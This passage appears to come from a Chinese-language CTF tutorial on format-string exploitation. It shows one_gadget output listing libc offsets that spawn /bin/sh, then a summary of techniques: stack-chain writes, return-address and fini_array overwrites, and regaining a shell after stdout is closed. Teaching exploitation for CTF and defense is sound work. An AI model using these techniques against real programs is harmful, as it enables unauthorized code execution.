[esp+0x38] == NULL 0x3d0d9 execve("/bin/sh", esp+0x3c, environ) constraints: esi is the GOT address of libc [esp+0x3c] == NULL 0x3d0e0 execve("/bin/sh", esp+0x40, environ) constraints: esi is the GOT address of libc [esp+0x40] == NULL 0x67a7f execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x67a80 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL 0x137e5e execl("/bin/sh", eax) constraints: ebx is the GOT address of libc eax == NULL 0x137e5f execl("/bin/sh", [esp]) constraints: ebx is the GOT address of libc [esp] == NULL '''
0x7.总结
总的来说,栈上的格式化字符串漏洞,可以直接写地址修改,缓冲区长度够的话就一次写一字节,长度不够就一次两字节写;bss段的格式化字符串,需要在栈中找栈链,栈0->栈1->栈2->值,然后修改栈2指向printf函数的返回地址或者main函数的地址,然后就可以修改返回地址为onegadget了;还有堆中的格式化字符串,实际上和bss段的没有区别,也是改栈链;如果程序只有有限次printf机会,如果有fini_array的真实地址,就可以修改fini_array中的值为mian函数的地址,以此来重复利用;标准输出流stdout被关闭了依然可以写数据,只不过没有回显了,想要重新输出的话可以将stdout结构体的fileno成员设置为2或者0,也可以通过修改stderr的值为onegadget来getshell。